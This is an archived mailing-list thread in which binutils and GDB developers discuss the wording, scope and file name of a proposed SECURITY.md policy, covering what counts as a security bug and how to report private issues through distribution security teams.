* RFC: Adding a SECURITY.md document to the Binutils @ 2023-04-07 8:42 Nick Clifton 2023-04-07 10:36 ` Eli Zaretskii ` (4 more replies) 0 siblings, 5 replies; 56+ messages in thread From: Nick Clifton @ 2023-04-07 8:42 UTC (permalink / raw) To: Binutils; +Cc: siddhesh, gdb Hi Guys, Many open source projects have a SECURITY.md file which explains their stance on security related bugs. So I thought that it would be a good idea if we had one too. The top level file would actually just be a placeholder, like this: ------------- ./SECURITY.md ------------------------------------------ For details on the Binutils security process please see the SECURITY.md file in the binutils sub-directory. For details on the GDB security process please see the SECURITY.md file in the gdb sub-directory. -------------------------------------------------------------------- So this email is mostly about the wording for the Binutils specific version. Here is my current proposal: ---------------- binutils/SECURITY.md ------------------------------ Binutils Security Process ========================= What is a binutils security bug? ================================ A security bug is one that threatens the security of a system or network. In the context of the GNU Binutils this means a bug that relates to the creation of corrupt output files from valid, trusted inputs. Even then the bug would only have a security impact if the the code invokes undefined behaviour or results in a privilege boundary being crossed. Other than that, all other bugs will be treated as non-security issues. This does not mean that they will be ignored, just that they will not be given the priority that is given to security bugs. This stance applies to the creation tools in the GNU Binutils (eg as, ld, gold, objcopy) and the libraries that they use. Bugs in inspection tools (eg readelf, nm objdump) will not be considered to be security bugs, since they do not create executable output files. When used on untrusted inputs, these inspection tools should be appropriately sandboxed to mitigate potential damage due to any malicious input files. Reporting private security bugs =============================== *All bugs reported in the Binutils Bugzilla are public.* In order to report a private security bug that is not immediately public, please contact one of the downstream distributions with security teams. The follow teams have volunteered to handle such bugs: Debian: security@debian.org Red Hat: secalert@redhat.com SUSE: security@suse.de Please report the bug to just one of these teams. It will be shared with other teams as necessary. The team contacted will take care of details such as vulnerability rating and CVE assignment (http://cve.mitre.org/about/). It is likely that the team will ask to file a public bug because the issue is sufficiently minor and does not warrant an embargo. An embargo is not a requirement for being credited with the discovery of a security vulnerability. Reporting public security bugs ============================== It is expected that critical security bugs will be rare, and that most security bugs can be reported in Binutils Bugzilla system, thus making them public immediately. The system can be found here: https://sourceware.org/bugzilla/ ---------------------------------------------------------------------- Thoughts ? Comments ? Cheers Nick ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-07 8:42 RFC: Adding a SECURITY.md document to the Binutils Nick Clifton @ 2023-04-07 10:36 ` Eli Zaretskii 2023-04-11 13:29 ` Nick Clifton 2023-04-08 6:30 ` Jan Beulich ` (3 subsequent siblings) 4 siblings, 1 reply; 56+ messages in thread From: Eli Zaretskii @ 2023-04-07 10:36 UTC (permalink / raw) To: Nick Clifton; +Cc: binutils, siddhesh, gdb > Date: Fri, 7 Apr 2023 09:42:25 +0100 > Cc: siddhesh@gotplt.org, "gdb@sourceware.org" <gdb@sourceware.org> > From: Nick Clifton via Gdb <gdb@sourceware.org> > > Thoughts ? Comments ? Thanks. A minor nit: does it have to be a .md file? Can it be a .txt file instead? ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-07 10:36 ` Eli Zaretskii @ 2023-04-11 13:29 ` Nick Clifton 2023-04-11 14:23 ` Simon Marchi 0 siblings, 1 reply; 56+ messages in thread From: Nick Clifton @ 2023-04-11 13:29 UTC (permalink / raw) To: Eli Zaretskii; +Cc: binutils, siddhesh, gdb Hi Eli, > Thanks. A minor nit: does it have to be a .md file? Can it be a .txt > file instead? Sure - no problem. In fact until you asked I just assumed that .md == .txt. But I see no need for any markup capabilities so using .txt files is fine with me. Cheers Nick ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-11 13:29 ` Nick Clifton @ 2023-04-11 14:23 ` Simon Marchi 2023-04-11 15:00 ` Eli Zaretskii 0 siblings, 1 reply; 56+ messages in thread From: Simon Marchi @ 2023-04-11 14:23 UTC (permalink / raw) To: Nick Clifton, Eli Zaretskii; +Cc: binutils, siddhesh, gdb On 4/11/23 09:29, Nick Clifton via Gdb wrote: > Hi Eli, > >> Thanks. A minor nit: does it have to be a .md file? Can it be a .txt >> file instead? > > Sure - no problem. In fact until you asked I just assumed that .md == .txt. > But I see no need for any markup capabilities so using .txt files is fine with me. FWIW, I like .md files, they read well as just text, but are also displayed nicely when viewed in contexts like git web views. I don't see any downsides to using it. Simon ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-11 14:23 ` Simon Marchi @ 2023-04-11 15:00 ` Eli Zaretskii 2023-04-11 16:22 ` Nick Clifton 2023-04-11 18:18 ` J.W. Jagersma 0 siblings, 2 replies; 56+ messages in thread From: Eli Zaretskii @ 2023-04-11 15:00 UTC (permalink / raw) To: Simon Marchi; +Cc: nickc, binutils, siddhesh, gdb > Date: Tue, 11 Apr 2023 10:23:05 -0400 > Cc: binutils@sourceware.org, siddhesh@gotplt.org, gdb@sourceware.org > From: Simon Marchi <simark@simark.ca> > > On 4/11/23 09:29, Nick Clifton via Gdb wrote: > > Hi Eli, > > > >> Thanks. A minor nit: does it have to be a .md file? Can it be a .txt > >> file instead? > > > > Sure - no problem. In fact until you asked I just assumed that .md == .txt. > > But I see no need for any markup capabilities so using .txt files is fine with me. > > FWIW, I like .md files, they read well as just text, but are also > displayed nicely when viewed in contexts like git web views. I don't > see any downsides to using it. The markup gets in the way, unless you use a viewer that supports markdown. But I thought Nick said he didn't intend to use any markup? if so, we are talking plain text anyway, and a .md file name will just mislead. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-11 15:00 ` Eli Zaretskii @ 2023-04-11 16:22 ` Nick Clifton 2023-04-11 16:32 ` Matt Rice 2023-04-11 18:18 ` J.W. Jagersma 1 sibling, 1 reply; 56+ messages in thread From: Nick Clifton @ 2023-04-11 16:22 UTC (permalink / raw) To: Eli Zaretskii, Simon Marchi; +Cc: binutils, siddhesh, gdb Hi Guys, > But I thought Nick said he didn't intend to use any markup? That was certainly my intent. Is there anything that we can gain from using markup for this document ? > if so, we > are talking plain text anyway, and a .md file name will just mislead. Agreed. Cheers Nick ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-11 16:22 ` Nick Clifton @ 2023-04-11 16:32 ` Matt Rice 0 siblings, 0 replies; 56+ messages in thread From: Matt Rice @ 2023-04-11 16:32 UTC (permalink / raw) To: Nick Clifton; +Cc: Eli Zaretskii, Simon Marchi, binutils, siddhesh, gdb On Tue, Apr 11, 2023 at 4:23 PM Nick Clifton via Binutils <binutils@sourceware.org> wrote: > > Hi Guys, > > > But I thought Nick said he didn't intend to use any markup? > > That was certainly my intent. Is there anything that we can gain from > using markup for this document ? I think the main reason to avoid renaming it is certain processes expect the file to be named Security.md. E.g. when filing a bug report on github repositories will link to it as an alternative channel for opening security issues. given that binutils doesn't use github for bug reports this might be somewhat less persuasive. I'm not sure if forks may use github issue tracker, there are a few other things which look for the file, such as a thing which scores the processes set up for a given repo, and a more visible tab. I tend to think that .md markup is lightweight enough that it is readable without rendering, and don't see much benefit from diverging from this process... > > > if so, we > > are talking plain text anyway, and a .md file name will just mislead. > > Agreed. > > Cheers > Nick > ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-11 15:00 ` Eli Zaretskii 2023-04-11 16:22 ` Nick Clifton @ 2023-04-11 18:18 ` J.W. Jagersma 2023-04-12 8:43 ` Nick Clifton 1 sibling, 1 reply; 56+ messages in thread From: J.W. Jagersma @ 2023-04-11 18:18 UTC (permalink / raw) To: Eli Zaretskii; +Cc: binutils, gdb On 2023-04-11 17:00, Eli Zaretskii via Gdb wrote: >> Date: Tue, 11 Apr 2023 10:23:05 -0400 >> Cc: binutils@sourceware.org, siddhesh@gotplt.org, gdb@sourceware.org >> From: Simon Marchi <simark@simark.ca> >> >> On 4/11/23 09:29, Nick Clifton via Gdb wrote: >>> Hi Eli, >>> >>>> Thanks. A minor nit: does it have to be a .md file? Can it be a .txt >>>> file instead? >>> >>> Sure - no problem. In fact until you asked I just assumed that .md == .txt. >>> But I see no need for any markup capabilities so using .txt files is fine with me. >> >> FWIW, I like .md files, they read well as just text, but are also >> displayed nicely when viewed in contexts like git web views. I don't >> see any downsides to using it. > > The markup gets in the way, unless you use a viewer that supports > markdown. > > But I thought Nick said he didn't intend to use any markup? if so, we > are talking plain text anyway, and a .md file name will just mislead. Markdown was designed to be easily readable as plaintext; the syntax is very similar to how one would format an email. In fact, the document as proposed is already a valid Markdown document. For consistency though, I'd suggest to not use any file extension at all. None of the top-level text files currently have an extension. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-11 18:18 ` J.W. Jagersma @ 2023-04-12 8:43 ` Nick Clifton 0 siblings, 0 replies; 56+ messages in thread From: Nick Clifton @ 2023-04-12 8:43 UTC (permalink / raw) To: J.W. Jagersma, Eli Zaretskii; +Cc: binutils, gdb Hi Guys, > For consistency though, I'd suggest to not use any file extension at all. None > of the top-level text files currently have an extension. Except that I think that there is an expectation that the file will have an extension. For example see this wikipedia article in favour of security.txt: https://en.wikipedia.org/wiki/Security.txt Then again, repositories like github seem to prefer a security.md file: https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository I think that there are web crawlers out there that look for this type of document and can handle either extension. But I am not sure if they will work with no extension at all. Cheers Nick ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-07 8:42 RFC: Adding a SECURITY.md document to the Binutils Nick Clifton 2023-04-07 10:36 ` Eli Zaretskii @ 2023-04-08 6:30 ` Jan Beulich 2023-04-10 18:30 ` John Baldwin ` (2 subsequent siblings) 4 siblings, 0 replies; 56+ messages in thread From: Jan Beulich @ 2023-04-08 6:30 UTC (permalink / raw) To: Nick Clifton; +Cc: siddhesh, gdb, Binutils On 07.04.2023 10:42, Nick Clifton via Binutils wrote: > Hi Guys, > > Many open source projects have a SECURITY.md file which explains > their stance on security related bugs. So I thought that it would > be a good idea if we had one too. The top level file would actually > just be a placeholder, like this: > > ------------- ./SECURITY.md ------------------------------------------ > For details on the Binutils security process please see > the SECURITY.md file in the binutils sub-directory. > > For details on the GDB security process please see > the SECURITY.md file in the gdb sub-directory. > -------------------------------------------------------------------- > > So this email is mostly about the wording for the Binutils specific > version. Here is my current proposal: > > ---------------- binutils/SECURITY.md ------------------------------ > Binutils Security Process > ========================= > > What is a binutils security bug? > ================================ > > A security bug is one that threatens the security of a system or > network. In the context of the GNU Binutils this means a bug that > relates to the creation of corrupt output files from valid, trusted > inputs. Even then the bug would only have a security impact if the > the code invokes undefined behaviour or results in a privilege > boundary being crossed. > > Other than that, all other bugs will be treated as non-security > issues. This does not mean that they will be ignored, just that > they will not be given the priority that is given to security bugs. > > This stance applies to the creation tools in the GNU Binutils (eg > as, ld, gold, objcopy) and the libraries that they use. Bugs in > inspection tools (eg readelf, nm objdump) will not be considered > to be security bugs, since they do not create executable output > files. When used on untrusted inputs, these inspection tools > should be appropriately sandboxed to mitigate potential damage > due to any malicious input files. > > Reporting private security bugs > =============================== > > *All bugs reported in the Binutils Bugzilla are public.* > > In order to report a private security bug that is not immediately > public, please contact one of the downstream distributions with > security teams. The follow teams have volunteered to handle such > bugs: > > Debian: security@debian.org > Red Hat: secalert@redhat.com > SUSE: security@suse.de > > Please report the bug to just one of these teams. It will be shared > with other teams as necessary. > > The team contacted will take care of details such as vulnerability > rating and CVE assignment (http://cve.mitre.org/about/). It is likely > that the team will ask to file a public bug because the issue is > sufficiently minor and does not warrant an embargo. An embargo is not > a requirement for being credited with the discovery of a security > vulnerability. > > Reporting public security bugs > ============================== > > It is expected that critical security bugs will be rare, and that most > security bugs can be reported in Binutils Bugzilla system, thus making > them public immediately. The system can be found here: > > https://sourceware.org/bugzilla/ > > ---------------------------------------------------------------------- > > Thoughts ? Comments ? Making aspects like this explicit (and easily findable) is certainly a good thing imo. Jan ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-07 8:42 RFC: Adding a SECURITY.md document to the Binutils Nick Clifton 2023-04-07 10:36 ` Eli Zaretskii 2023-04-08 6:30 ` Jan Beulich @ 2023-04-10 18:30 ` John Baldwin 2023-04-20 15:56 ` Nick Clifton 2023-04-11 19:45 ` Ian Lance Taylor 2023-04-12 16:02 ` Richard Earnshaw 4 siblings, 1 reply; 56+ messages in thread From: John Baldwin @ 2023-04-10 18:30 UTC (permalink / raw) To: Nick Clifton, Binutils; +Cc: siddhesh, gdb On 4/7/23 1:42 AM, Nick Clifton via Gdb wrote: > Reporting private security bugs > =============================== > > *All bugs reported in the Binutils Bugzilla are public.* > > In order to report a private security bug that is not immediately > public, please contact one of the downstream distributions with > security teams. The follow teams have volunteered to handle such > bugs: One nit: s/follow/following/ I think The overall policy for binutils seems sane to me btw (with my OS vendor hat on) -- John Baldwin ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-10 18:30 ` John Baldwin @ 2023-04-20 15:56 ` Nick Clifton 0 siblings, 0 replies; 56+ messages in thread From: Nick Clifton @ 2023-04-20 15:56 UTC (permalink / raw) To: Binutils; +Cc: siddhesh, gdb Hi Guys, Right, I have gone ahead and applied a patch to add the SECURITY.txt files to the sources. I realise that we may not have reached a final agreement on the exact wording, but I wanted to get the files in place now so that there is at least something there for others to see. Cheers Nick PS. The text of the binutils/SECURITY.txt file that I checked in looks like this: Binutils Security Process ========================= What is a binutils security bug? ================================ A security bug is one that threatens the security of a system or network, or might compromise the security of data stored on it. In the context of GNU Binutils there are two ways in which such bugs might occur. In the first, the programs themselves might be tricked into a direct compromise of security. In the second, the tools might introduce a vulnerability in the generated output that was not already present in the files used as input. Other than that, all other bugs will be treated as non-security issues. This does not mean that they will be ignored, just that they will not be given the priority that is given to security bugs. This stance applies to the creation tools in the GNU Binutils (eg as, ld, gold, objcopy) and the libraries that they use. Bugs in inspection tools (eg readelf, nm objdump) will not be considered to be security bugs, since they do not create executable output files. Notes: ====== None of the programs in the GNU Binutils suite need elevated privileges to operate and it is recommended that users do not use them from accounts where such privileges are automatically available. The inspection tools are intended to be robust but nevertheless they should be appropriately sandboxed if they are used to examine malicious or potentially malicious input files. Reporting private security bugs =============================== *All bugs reported in the Binutils Bugzilla are public.* In order to report a private security bug that is not immediately public, please contact one of the downstream distributions with security teams. The following teams have volunteered to handle such bugs: Debian: security@debian.org Red Hat: secalert@redhat.com SUSE: security@suse.de Please report the bug to just one of these teams. It will be shared with other teams as necessary. The team contacted will take care of details such as vulnerability rating and CVE assignment (http://cve.mitre.org/about/). It is likely that the team will ask to file a public bug because the issue is sufficiently minor and does not warrant an embargo. An embargo is not a requirement for being credited with the discovery of a security vulnerability. Reporting public security bugs ============================== It is expected that critical security bugs will be rare, and that most security bugs can be reported in Binutils Bugzilla system, thus making them public immediately. The system can be found here: https://sourceware.org/bugzilla/ ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-07 8:42 RFC: Adding a SECURITY.md document to the Binutils Nick Clifton ` (2 preceding siblings ...) 2023-04-10 18:30 ` John Baldwin @ 2023-04-11 19:45 ` Ian Lance Taylor 2023-04-12 16:02 ` Richard Earnshaw 4 siblings, 0 replies; 56+ messages in thread From: Ian Lance Taylor @ 2023-04-11 19:45 UTC (permalink / raw) To: Nick Clifton; +Cc: Binutils, siddhesh, gdb On Fri, Apr 7, 2023 at 1:43 AM Nick Clifton via Binutils <binutils@sourceware.org> wrote: > > Many open source projects have a SECURITY.md file which explains > their stance on security related bugs. So I thought that it would > be a good idea if we had one too. This is quite nice, thanks for doing this. Ian ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-07 8:42 RFC: Adding a SECURITY.md document to the Binutils Nick Clifton ` (3 preceding siblings ...) 2023-04-11 19:45 ` Ian Lance Taylor @ 2023-04-12 16:02 ` Richard Earnshaw 2023-04-12 16:26 ` Siddhesh Poyarekar 4 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-12 16:02 UTC (permalink / raw) To: Nick Clifton, Binutils; +Cc: siddhesh, gdb On 07/04/2023 09:42, Nick Clifton via Binutils wrote: > Hi Guys, > > Many open source projects have a SECURITY.md file which explains > their stance on security related bugs. So I thought that it would > be a good idea if we had one too. The top level file would actually > just be a placeholder, like this: > > ------------- ./SECURITY.md ------------------------------------------ > For details on the Binutils security process please see > the SECURITY.md file in the binutils sub-directory. > > For details on the GDB security process please see > the SECURITY.md file in the gdb sub-directory. > -------------------------------------------------------------------- > > So this email is mostly about the wording for the Binutils specific > version. Here is my current proposal: > > ---------------- binutils/SECURITY.md ------------------------------ > Binutils Security Process > ========================= > > What is a binutils security bug? > ================================ > > A security bug is one that threatens the security of a system or > network. In the context of the GNU Binutils this means a bug that > relates to the creation of corrupt output files from valid, trusted > inputs. Even then the bug would only have a security impact if the > the code invokes undefined behaviour or results in a privilege > boundary being crossed. > > Other than that, all other bugs will be treated as non-security > issues. This does not mean that they will be ignored, just that > they will not be given the priority that is given to security bugs. > > This stance applies to the creation tools in the GNU Binutils (eg > as, ld, gold, objcopy) and the libraries that they use. Bugs in > inspection tools (eg readelf, nm objdump) will not be considered > to be security bugs, since they do not create executable output > files. When used on untrusted inputs, these inspection tools > should be appropriately sandboxed to mitigate potential damage > due to any malicious input files. I'd expect that any program used on untrusted input to be run only at user-level privileges. So we should exclude issues where an account with elevated privileges (eg root) is used with either inspection or generation tools. The other area of concern is where the tools (particularly the linker) 'generate' code; so bugs in the opcodes the assembler generates (eg by not setting some don't care bits to something safe) or with code generated by the linker to glue functions together (relocation handling, PLTs, veneers, etc) would also count. R. > > Reporting private security bugs > =============================== > > *All bugs reported in the Binutils Bugzilla are public.* > > In order to report a private security bug that is not immediately > public, please contact one of the downstream distributions with > security teams. The follow teams have volunteered to handle such > bugs: > > Debian: security@debian.org > Red Hat: secalert@redhat.com > SUSE: security@suse.de > > Please report the bug to just one of these teams. It will be shared > with other teams as necessary. > > The team contacted will take care of details such as vulnerability > rating and CVE assignment (http://cve.mitre.org/about/). It is likely > that the team will ask to file a public bug because the issue is > sufficiently minor and does not warrant an embargo. An embargo is not > a requirement for being credited with the discovery of a security > vulnerability. > > Reporting public security bugs > ============================== > > It is expected that critical security bugs will be rare, and that most > security bugs can be reported in Binutils Bugzilla system, thus making > them public immediately. The system can be found here: > > https://sourceware.org/bugzilla/ > > ---------------------------------------------------------------------- > > Thoughts ? Comments ? > > Cheers > Nick > ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-12 16:02 ` Richard Earnshaw @ 2023-04-12 16:26 ` Siddhesh Poyarekar 2023-04-12 16:52 ` Richard Earnshaw 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-12 16:26 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-12 12:02, Richard Earnshaw wrote: > > > On 07/04/2023 09:42, Nick Clifton via Binutils wrote: >> Hi Guys, >> >> Many open source projects have a SECURITY.md file which explains >> their stance on security related bugs. So I thought that it would >> be a good idea if we had one too. The top level file would actually >> just be a placeholder, like this: >> >> ------------- ./SECURITY.md ------------------------------------------ >> For details on the Binutils security process please see >> the SECURITY.md file in the binutils sub-directory. >> >> For details on the GDB security process please see >> the SECURITY.md file in the gdb sub-directory. >> -------------------------------------------------------------------- >> >> So this email is mostly about the wording for the Binutils specific >> version. Here is my current proposal: >> >> ---------------- binutils/SECURITY.md ------------------------------ >> Binutils Security Process >> ========================= >> >> What is a binutils security bug? >> ================================ >> >> A security bug is one that threatens the security of a system or >> network. In the context of the GNU Binutils this means a bug that >> relates to the creation of corrupt output files from valid, trusted >> inputs. Even then the bug would only have a security impact if the >> the code invokes undefined behaviour or results in a privilege >> boundary being crossed. >> >> Other than that, all other bugs will be treated as non-security >> issues. This does not mean that they will be ignored, just that >> they will not be given the priority that is given to security bugs. >> >> This stance applies to the creation tools in the GNU Binutils (eg >> as, ld, gold, objcopy) and the libraries that they use. Bugs in >> inspection tools (eg readelf, nm objdump) will not be considered >> to be security bugs, since they do not create executable output >> files. When used on untrusted inputs, these inspection tools >> should be appropriately sandboxed to mitigate potential damage >> due to any malicious input files. > > I'd expect that any program used on untrusted input to be run only at > user-level privileges. So we should exclude issues where an account > with elevated privileges (eg root) is used with either inspection or > generation tools. Agreed, I think this should be addressed by the "or results in a privilege boundary being crossed". By running these programs as root, the user is elevating privileges themselves, so it's not a binutils problem. Perhaps it's necessary to educate users to not run these programs as root, but I don't think it is the intent of SECURITY.md to educate users about secure usage. The intent is to define context by describing what constitutes security-relevant bugs and then document mechanisms to reach out to communicate those bugs in case they're sensitive. > The other area of concern is where the tools (particularly the linker) > 'generate' code; so bugs in the opcodes the assembler generates (eg by > not setting some don't care bits to something safe) or with code > generated by the linker to glue functions together (relocation handling, > PLTs, veneers, etc) would also count. Ack, I reckon this should be addressed by "corrupt output files from valid trusted inputs". If that's not clear enough, could you suggest alternative phrasing that makes it clearer? Thanks, Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-12 16:26 ` Siddhesh Poyarekar @ 2023-04-12 16:52 ` Richard Earnshaw 2023-04-12 16:58 ` Paul Koning 2023-04-12 17:10 ` Siddhesh Poyarekar 0 siblings, 2 replies; 56+ messages in thread From: Richard Earnshaw @ 2023-04-12 16:52 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 12/04/2023 17:26, Siddhesh Poyarekar wrote: > On 2023-04-12 12:02, Richard Earnshaw wrote: >> >> >> On 07/04/2023 09:42, Nick Clifton via Binutils wrote: >>> Hi Guys, >>> >>> Many open source projects have a SECURITY.md file which explains >>> their stance on security related bugs. So I thought that it would >>> be a good idea if we had one too. The top level file would actually >>> just be a placeholder, like this: >>> >>> ------------- ./SECURITY.md ------------------------------------------ >>> For details on the Binutils security process please see >>> the SECURITY.md file in the binutils sub-directory. >>> >>> For details on the GDB security process please see >>> the SECURITY.md file in the gdb sub-directory. >>> -------------------------------------------------------------------- >>> >>> So this email is mostly about the wording for the Binutils specific >>> version. Here is my current proposal: >>> >>> ---------------- binutils/SECURITY.md ------------------------------ >>> Binutils Security Process >>> ========================= >>> >>> What is a binutils security bug? >>> ================================ >>> >>> A security bug is one that threatens the security of a system or >>> network. In the context of the GNU Binutils this means a bug that >>> relates to the creation of corrupt output files from valid, trusted >>> inputs. Even then the bug would only have a security impact if the >>> the code invokes undefined behaviour or results in a privilege >>> boundary being crossed. >>> >>> Other than that, all other bugs will be treated as non-security >>> issues. This does not mean that they will be ignored, just that >>> they will not be given the priority that is given to security bugs. >>> >>> This stance applies to the creation tools in the GNU Binutils (eg >>> as, ld, gold, objcopy) and the libraries that they use. Bugs in >>> inspection tools (eg readelf, nm objdump) will not be considered >>> to be security bugs, since they do not create executable output >>> files. When used on untrusted inputs, these inspection tools >>> should be appropriately sandboxed to mitigate potential damage >>> due to any malicious input files. >> >> I'd expect that any program used on untrusted input to be run only at >> user-level privileges. So we should exclude issues where an account >> with elevated privileges (eg root) is used with either inspection or >> generation tools. > > Agreed, I think this should be addressed by the "or results in a > privilege boundary being crossed". By running these programs as root, > the user is elevating privileges themselves, so it's not a binutils > problem. My reading of the text is that "privilege boundary being crossed" (in the first paragraph) is specifically related to the generated output, not to the program itself being run with elevated privileges. > > Perhaps it's necessary to educate users to not run these programs as > root, but I don't think it is the intent of SECURITY.md to educate users > about secure usage. The intent is to define context by describing what > constitutes security-relevant bugs and then document mechanisms to reach > out to communicate those bugs in case they're sensitive. > >> The other area of concern is where the tools (particularly the linker) >> 'generate' code; so bugs in the opcodes the assembler generates (eg by >> not setting some don't care bits to something safe) or with code >> generated by the linker to glue functions together (relocation >> handling, PLTs, veneers, etc) would also count. > > Ack, I reckon this should be addressed by "corrupt output files from > valid trusted inputs". If that's not clear enough, could you suggest > alternative phrasing that makes it clearer? I'm not sure corrupt is general enough. Each instruction in the binary might be completely legal, but their sequencing could leave some vulnerabilities (think spectre, for example, but that's pretty extreme). Perhaps something like "... this means that the tools introduce a vulnerability in the output file that was not present in the input files being processed". I think with that wording you probably don't even need the last sentence in the first paragraph. R. > > Thanks, > Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-12 16:52 ` Richard Earnshaw @ 2023-04-12 16:58 ` Paul Koning 2023-04-12 17:10 ` Siddhesh Poyarekar 1 sibling, 0 replies; 56+ messages in thread From: Paul Koning @ 2023-04-12 16:58 UTC (permalink / raw) To: Richard Earnshaw; +Cc: Siddhesh Poyarekar, Nick Clifton, Binutils, gdb > On Apr 12, 2023, at 12:52 PM, Richard Earnshaw via Gdb <gdb@sourceware.org> wrote: > > On 12/04/2023 17:26, Siddhesh Poyarekar wrote: >> ... >> Ack, I reckon this should be addressed by "corrupt output files from valid trusted inputs". If that's not clear enough, could you suggest alternative phrasing that makes it clearer? > > I'm not sure corrupt is general enough. Each instruction in the binary might be completely legal, but their sequencing could leave some vulnerabilities (think spectre, for example, but that's pretty extreme). > > Perhaps something like "... this means that the tools introduce a vulnerability in the output file that was not present in the input files being processed". I think with that wording you probably don't even need the last sentence in the first paragraph. I agree. The scenario in "Reflections on trusting trust", Ken Thompson's famous paper, comes to mind. It might be worth adding that as a reference. paul ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-12 16:52 ` Richard Earnshaw 2023-04-12 16:58 ` Paul Koning @ 2023-04-12 17:10 ` Siddhesh Poyarekar 2023-04-13 3:51 ` Alan Modra 2023-04-13 10:25 ` Richard Earnshaw 1 sibling, 2 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-12 17:10 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-12 12:52, Richard Earnshaw wrote: > > > On 12/04/2023 17:26, Siddhesh Poyarekar wrote: >> On 2023-04-12 12:02, Richard Earnshaw wrote: >>> >>> >>> On 07/04/2023 09:42, Nick Clifton via Binutils wrote: >>>> Hi Guys, >>>> >>>> Many open source projects have a SECURITY.md file which explains >>>> their stance on security related bugs. So I thought that it would >>>> be a good idea if we had one too. The top level file would actually >>>> just be a placeholder, like this: >>>> >>>> ------------- ./SECURITY.md ------------------------------------------ >>>> For details on the Binutils security process please see >>>> the SECURITY.md file in the binutils sub-directory. >>>> >>>> For details on the GDB security process please see >>>> the SECURITY.md file in the gdb sub-directory. >>>> -------------------------------------------------------------------- >>>> >>>> So this email is mostly about the wording for the Binutils specific >>>> version. Here is my current proposal: >>>> >>>> ---------------- binutils/SECURITY.md ------------------------------ >>>> Binutils Security Process >>>> ========================= >>>> >>>> What is a binutils security bug? >>>> ================================ >>>> >>>> A security bug is one that threatens the security of a system or >>>> network. In the context of the GNU Binutils this means a bug that >>>> relates to the creation of corrupt output files from valid, trusted >>>> inputs. Even then the bug would only have a security impact if the >>>> the code invokes undefined behaviour or results in a privilege >>>> boundary being crossed. >>>> >>>> Other than that, all other bugs will be treated as non-security >>>> issues. This does not mean that they will be ignored, just that >>>> they will not be given the priority that is given to security bugs. >>>> >>>> This stance applies to the creation tools in the GNU Binutils (eg >>>> as, ld, gold, objcopy) and the libraries that they use. Bugs in Perhaps also name libbfd, libopcode, etc. in the libraries to make it clearer. >>>> inspection tools (eg readelf, nm objdump) will not be considered >>>> to be security bugs, since they do not create executable output >>>> files. When used on untrusted inputs, these inspection tools >>>> should be appropriately sandboxed to mitigate potential damage >>>> due to any malicious input files. >>> >>> I'd expect that any program used on untrusted input to be run only at >>> user-level privileges. So we should exclude issues where an account >>> with elevated privileges (eg root) is used with either inspection or >>> generation tools. >> >> Agreed, I think this should be addressed by the "or results in a >> privilege boundary being crossed". By running these programs as root, >> the user is elevating privileges themselves, so it's not a binutils >> problem. > > My reading of the text is that "privilege boundary being crossed" (in > the first paragraph) is specifically related to the generated output, > not to the program itself being run with elevated privileges. OK, then how about this for the first paragraph: ~~~ A security bug is one that threatens the security of a system or network. In the context of GNU Binutils, there are two ways in which a bug could have security consequences. The primary method is when the tools introduce a vulnerability in the output file that was not present in the input files being processed. The other, albeit unlikely way is when a bug in the tools results in a privilege boundary is crossed in either the tools themselves or in the code they generate. ~~~ >>> The other area of concern is where the tools (particularly the >>> linker) 'generate' code; so bugs in the opcodes the assembler >>> generates (eg by not setting some don't care bits to something safe) >>> or with code generated by the linker to glue functions together >>> (relocation handling, PLTs, veneers, etc) would also count. >> >> Ack, I reckon this should be addressed by "corrupt output files from >> valid trusted inputs". If that's not clear enough, could you suggest >> alternative phrasing that makes it clearer? > > I'm not sure corrupt is general enough. Each instruction in the binary > might be completely legal, but their sequencing could leave some > vulnerabilities (think spectre, for example, but that's pretty extreme). > > Perhaps something like "... this means that the tools introduce a > vulnerability in the output file that was not present in the input files > being processed". I think with that wording you probably don't even > need the last sentence in the first paragraph. Agreed, that sounds more precise. I've incorporated that into the paragraph above. How does that sound overall? Thanks, Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
